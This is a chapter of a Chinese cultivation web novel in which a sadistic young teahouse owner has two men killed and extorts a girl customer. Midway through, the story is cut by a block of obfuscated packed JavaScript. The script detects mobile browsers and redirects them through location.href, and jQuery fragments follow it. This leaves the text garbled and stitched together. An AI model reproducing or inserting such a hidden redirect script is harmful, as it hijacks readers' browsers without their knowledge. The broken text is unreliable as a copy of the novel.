6.少年

作品:《踩高跷吗道友

    这人谁?


    凭什么将自己跟那俩人凑作一团?


    她不过是来“时间煮雨”茶楼购买妖兽情报,顺道在茶楼大厅吃个便饭的普通食客,全程闭嘴狂吃又没招惹到他,怎么就嘴臭了!


    被莫名其妙找茬,金丹丹正郁闷着,就听旁边桌两人已对那出言挑衅的少年叫骂开来。


    龅牙小秃头:“你谁啊你,还管起小爷的事了,找死!”


    吊梢眼老头:“毛头小子回家找你娘喝奶去,这里可不是你能来耍小孩威风的地方!”


    金丹丹撇嘴侧目,两个炼气九层的,说话就是硬气,不仅大声还难听。她回眸,见那少年才堪堪炼气七层,暗道实力不济还敢这么张扬,不是脑壳有包的短命鬼就是个背景雄厚的小少爷。


    果然如她所料,下一瞬,她听到张扬少爷对茶楼掌柜道:“李掌柜,天气凉了,今日让茶楼歇业送客吧,把那仨留下,我要亲自款待。”


    随着少年清亮的嗓音落地,柜台后立即传来掌柜毕恭毕敬的应答:“好的,老板!”


    老板?


    她探头朝柜台看去,那李掌柜竟当真听从了少年的命令,召集所有店小二在跟随少年而来的一众长随的维护下,开始有序清场。


    金丹丹忍不住震惊,这少年看着年纪不大,派头倒是不小!


    莫名其妙被他点名独留,怕是要摊上倒霉事了,她此时不跑更待何时?


    金丹丹伸手摸包预备脚底抹油,突然又一把利刃破空朝她伸手的方向打来,她麻利缩手,她的碎花包袱却被无情地钉死在了桌面上。


    “你。”少年维持甩刀的姿势,对上她蓦地睁大的眼,毫不客气地作出指示:“就坐那,不许动。”


    金丹丹恼怒:“我跟你无冤无仇,你干嘛不让我走!”


    “是么。”少年闻言挑眉,露出两颗小虎牙,笑容干净明亮如初生朝阳,笑声朗润:“你的账,待会儿算。”


    吊梢眼老头见他气焰愈发嚣张,终于坐不住了,愤怒起身:“你这黄口小儿还敢跟爷爷叫板,去死吧!”


    说时迟那时快,炼气九层修士率先劈出凌厉一掌,过路掌风掀起金丹丹的刘海,余劲刮过她的脸颊,生疼。


    她来不及扭头,只听一声惨叫,刚才从她眼前冲过去的吊梢眼老头又从眼前原路横飞,“砰”一声巨响,砸得桌子稀碎。


    老头连带原本插在桌面上的红色利刃一同摔落到地上,利刃发出“叮”的一声清脆刀鸣,老头喷出一大口鲜血,倒进木屑堆里昏迷不醒。


    金丹丹猛地回望源头,只见少年右腿悬停半空。


    笔直,且修长。


    他脚上黑靴绣着繁复奢华的暗纹,此时,这只一看便知价值昂贵靴子靴底,正对着吊梢眼老头倒地的方向。


    事情发生得太过突然,龅牙小秃头脸上幸灾乐祸的蔑笑还未散去,身体已本能地僵硬,直到那只有着繁复暗纹的黑靴子在他的视线中缓缓放下,他的双眼才后知后觉地填满恐惧。


    两腿间一股热流倏然涌出,温热的濡潮瞬间浸湿了龅牙小秃头的裤腿。


    “废物。”


    少年收回腿,吩咐掌柜将二人扔进护城河。


    龅牙小秃头这才终于反应过来,胆寒地“咚”一声跪下去,求道:“最近护城河里有妖兽,我错了,是我嘴臭!你……您大人不记小人过,我我、我这就回去漱口!”


    “有妖兽?”


    “有妖兽?”


    两道声音异口同声。


    少年撇金丹丹一眼,“你也对妖兽感兴趣?”


    金丹丹冷静撇清:“没有,我只是震惊主城附近出现妖兽。”


    少年转眸,嘴角忍不住咧到耳根,眼底的光亮几乎要溢出来,他兴奋地问身边长随:“严泊,河里出现妖兽了?”


    被称为严泊的黑衣青年弯腰捡起掉到木屑里的红色利刃,双手奉到少年面前,闻言点头称是。


    少年接过刀,笑意舒朗:“那你便去送他们一程,恐惧与绝望在丑陋的人脸上交织,多么美妙的素材!记得代我好好欣赏,回来给我刻个小木人啊,严泊!”


    严泊领命,在凄惨的嚎叫声中将那两人拖出茶楼。


    一切发生只在转瞬之间,金丹丹一腔热血直冲脑门,指尖攥得发紧,她可以断定,这人就是个变态!


    一个阳光开朗的小变态!


    心脏不自觉地狂跳,她的身体发出危险警报,却见那小变态收拾完那两人后一撩衣袍,坐到了她对面。


    “灵云宗奚梦蕊身份高贵性情温婉,是为正妻,碎星舫女舫主热辣风流双修圣体,是为情人,你说——”他拉长声音,转眸看向她,语气轻松:“是也不是?”


    金丹丹沉默应对。


    是什么是,这种事问她干什么,她又不会去娶奚梦蕊,更不会去爬那什么碎星舫的床。


    对小变态,她没什么好说的。


    “你点头了。”少年提醒她,而后毫不在意地继续道:“一个炼气七层的黄口小儿,竟敢跑到炼气九层的爷爷面前叫板,真该死,你说——”他又一次拉长声音,随手把玩她的碎花包袱,语气依旧轻松:“是也不是?”


    金丹丹忽然福至心灵,看来这就是她被小变态盯上的原因了!


    恍惚间,她听到少年再次出言提醒,“这次你撇嘴侧目了。”


    她忍不住激动跳起,拍桌道:“我没有!你别瞎说!”


    茶楼一众长随立马上前将她团团围住,个个面露凶光。


    金丹丹憋气,小变态炼气七层吊打炼气九层,身边又有一堆打手,其中还不乏高阶修士。


    形势比人强,她冷静坐下,耐心与之周旋:“老板,我点头是感叹大城市不一般,我侧目是讨厌老头声大还难听,我就是个路过茶楼来吃顿便饭的普通食客,素来遵纪守法,谨言慎行,苍天可鉴我可是良民,老板你误会我了。”


    “倒是我的错了?”少年阴恻恻地盯着她,吐出四个字:“巧言令色。”


    金丹丹抿唇,无语凝噎。


    少年抖了抖在手里把玩了半天的包袱,忽然问道:“我刚才看你伸手偷拿,这丑包里有你很重视的宝贝?”


    金丹丹皱眉,这小变态该不会想打她家当的主意吧?


    念及此,她就看到小变态打开蝴蝶结,当着包袱主人的面堂而皇之地伸手摸进去,嘴里发出惊叹:“灵石、丹药、灵草……哟嚯,好东西还真不少!”


    看了眼周围凶神恶煞的一圈打手,金丹丹按捺住出手的冲动,小心试探:“你一个大型连锁茶楼老板,家大业大,应该不至于干打劫顾客的勾当?”


    小变态眸光清亮,神情雀跃,“那倒不至于!”他抬手招来小二,将一份


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143443|195919||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    菜单摆在金丹丹面前,“来,点单。”


    她警惕地看他一眼,摇头拒绝:“我吃过了。”


    “点单。”他露出小虎牙,对她甜甜一笑,又将菜单递过来。


    金丹丹陡然反应过来,这小变态是要强买强卖!


    少年等了半天,见她始终不动,便热情地招来小二,帮她续上了一壶新茶。


    他亲自斟上一杯,手心朝上示意她品尝。


    “本店招牌,时间煮雨。”


    金丹丹不接,少年眸光一扫,周围一圈打手纷纷亮出本命武器,她只得接过,浅呷了一口。


    无色无味,平平无奇,就一杯普通白开水。


    “时间煮雨,精选无根之水,烧制一小壶,需茶楼最顶级的茶艺大师日夜不眠,时刻守在茶炉边,耗时整整七七四十九个时辰,使用秘法倾心熬制。故取名为时间煮雨。”少年将白开水的制作流程说得头头是道。


    强威迫使金丹丹无话可说,只能心道无耻。


    少年再次动作,左手托起茶壶底部,右手握住茶壶壶耳,壶嘴对着茶杯微微倾斜,清亮剔透的水流便倾泻而出。


    “棠梨煎雪。”他手心朝上,示意她继续品尝。


    金丹丹忍了又忍,终是没有忍住脱口:“什么时间煮雨棠梨煎雪,分明都是一样的茶壶一样的白开水!你都不带换的,敷衍都嫌多余,就敢说这两杯是本店招聘,你当我瞎?”


    “非也非也。”少年伸出一根手指左右摇晃,朝气蓬勃地冲她爽朗笑道:“这就是本来另一大招牌‘棠梨煎雪’!棠梨煎雪是茶楼专业人士冒风雪攀至棠梨树枝顶端,采集最纯净的瑞雪,历经九九八十一个时辰,所化之水再由茶楼顶尖大师匠心煎制,最终而成。故谓之棠梨煎雪。”


    又是一通天花乱坠的闭眼夸,将一杯普通白水抬到了不属于它的高度。


    金丹丹气得手抖,究竟谁在巧言令色?


    “黑店!”


    少年眉头一挑,掂了掂她的包袱,上下抛接,声音清脆:“哎呀,客人这是说的哪里话,我就是个普通开茶楼的老实本分小老板,素来遵纪守法,谨言慎行,苍天可鉴我可是良民,客人你误会我了。”


    “学人精!”金丹丹去抢包袱,少年旋身躲过。


    “时间煮雨是你喝的吧,棠梨煎雪你没说不要吧,本店主亲自招待你品茗,这是多少人求都求不来的殊荣,怎么,你不满意么,还是说,你想赖账吃霸王餐?”他睁着双干净纯粹的赤眸,笑嘻嘻威胁:“我劝你想好后果再回答我。”


    “你臭不要脸!”


    争夺间,那个叫严泊的黑衣青年回到了茶楼。


    “死了,很精彩。”他拱手对少年复命。


    喝了两杯茶,拌了两句嘴 ,差点忘了他是个阳光开朗的小变态,随时翻脸杀人,金丹丹如梦初醒,吓得立马停住了手里抢包的动作。


    少年随意“哦”了一声,好似他们谈论的不是两条鲜活的人命,而是两根路边野草。


    “黑店、学人精、臭不要脸,哈哈哈哈哈,骂得好骂得好!我真的很想看你再接再厉的样子,多么好的莽撞素材啊,不过这次取材到此为止。”少年眉眼舒朗,对她唇角一掀,“该结账了,我的客人。”


    他将碎花包袱收进储物戒,对黑衣青年吩咐:“丑包抵贱命,严泊,把她给我丢出去。”